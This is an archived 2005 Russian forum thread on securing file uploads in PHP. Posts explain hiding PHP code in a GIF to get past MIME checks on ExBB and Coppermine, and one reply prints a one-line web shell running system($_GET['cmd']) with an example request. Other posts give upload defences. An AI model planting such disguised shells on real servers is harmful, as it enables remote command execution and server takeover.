Strict Standards: Resource ID#32 used as offset, casting to integer (32) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#34 used as offset, casting to integer (34) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#35 used as offset, casting to integer (35) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401
ТвойWeb :: Версия для печати :: Что проверять при аплоаде файлов
ТвойWeb » WebMaster класс » PHP/Perl » Что проверять при аплоаде файлов

Страниц (1): [1]
 

1. sl_play - 25 Сентября, 2005 - 15:21:57 - перейти к сообщению
TvoyWeb пишет:
Обнаружена новая уязвимость в форуме ExBB, позволяющая загружать на форум файлы с любым расширением, маскируя их под графические файлы

на сколькоя понимаю, чтобы выполнялся код в графических файлах нужно это специально указать через .htaccess, думаю никому не придёт в голвоу этого делать просто так, только при конкретной задаче. А как же выполнится допустим пхп-код в графическом файле, если никто ему этого не разрешал?
поправте меня если я не прав...
2. TvoyWeb - 25 Сентября, 2005 - 16:43:38 - перейти к сообщению
sl_play
Берем любой gif файл, открываем его в HEX редакторе и в конец кода добавляем PHP код. Сохраняем и переименовываем в файл с расширением *.php. Далее грузим на форум.
Скрипт проверяет миме тип по содержимому а не по расширению.
Затем на странице в тег img вставляется этот псевдо-картинка php файл. Воаля! PHP код в конце кода картинки будет выполняться.
3. sl_play - 28 Сентября, 2005 - 04:08:17 - перейти к сообщению
а если проверять не только миме тайп, а и расширение?
а если вообще не проверять миме тайп, а только расширение?

У меня просто в моих скриптах при загрузки файлов я восновном проверяю расширени, и всегда задумывался правильно ли я делаю...
4. TvoyWeb - 28 Сентября, 2005 - 16:28:53 - перейти к сообщению
sl_play пишет:
а если проверять не только миме тайп, а и расширение?

Дело в том что миме тип никак не проверишь. То есть то что выдал браузер то и будет в миме типе.
Я делаю так, собственно как здесь на форуме. Всем некартинкам даю произвольное расширение и при запросе на скачивание просто читаю файл и отдаю его с настоящим именем (которое передается при загрузке).
А вот картинки я проверяю, картинка ли это или нет и соответсвующее картинке расширение. Благо на PHP есть функция которая помогает определить картинка это или нет.
5. sedfom - 27 Октября, 2005 - 15:51:52 - перейти к сообщению
Помогите проверить, есть ли возможность использовать замаскированный под картинку php скрипт в фотогалерее (Coppermine Photo Gallery v1.3.5).

Что-то не получается своять такую картинку. Беру рабочий php-shell открываю его в WinHex-e. Затем открываю gif картинку, там же. Копирую код шелла в картинку. Сохраняю как новый файл gif. Потом переименовываю полученный файл в расширение php. Просто для проверки закачиваю его на сервер через FTP в папку апача. При попытке запуска скрипта в браузере просто пустая белая страница.
6. Леголегс - 30 Октября, 2005 - 04:40:20 - перейти к сообщению
sedfom
пхп-шелл графический? не так надо. попробуй с таким кодом
CODE:
<?
system($_GET['cmd']);
?>
Открывай в браузере так:
CODE:
surprise_picture.php?cmd=ls > list.txt
В файле list.txt окажется список файлов в директории (а может и не окажется: от прав доступа зависит)
7. sedfom - 03 Ноября, 2005 - 11:20:03 - перейти к сообщению
Леголегс

Спасибо.

Может кто-нибудь подсказать подобный код для случая с операционной системой FreeBSD (или каким-нибудь Линуксом).

Что касается вышеописанной проблемы (и моей и заголовка темы). Поскольку мне лично вот так с наскоку не удалось разобраться с этой галереей на предмет используемого ей способа загрузки файлов. То я разрешил проблему через настройку Apache + PHP запретом на использование PHP всех системных команд в папке uploads и personal avatars.

Форум на AlfaSpace.NET


Powered by ExBB
ExBB FM 1.0 RC1 by TvoyWeb.ru
InvisionExBB Style converted by Markus®

[Script Execution time: 0.0355]     [ Gzipped ]



Notice: ob_end_flush(): failed to send buffer of ob_gzhandler (1) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/page_tail.php on line 33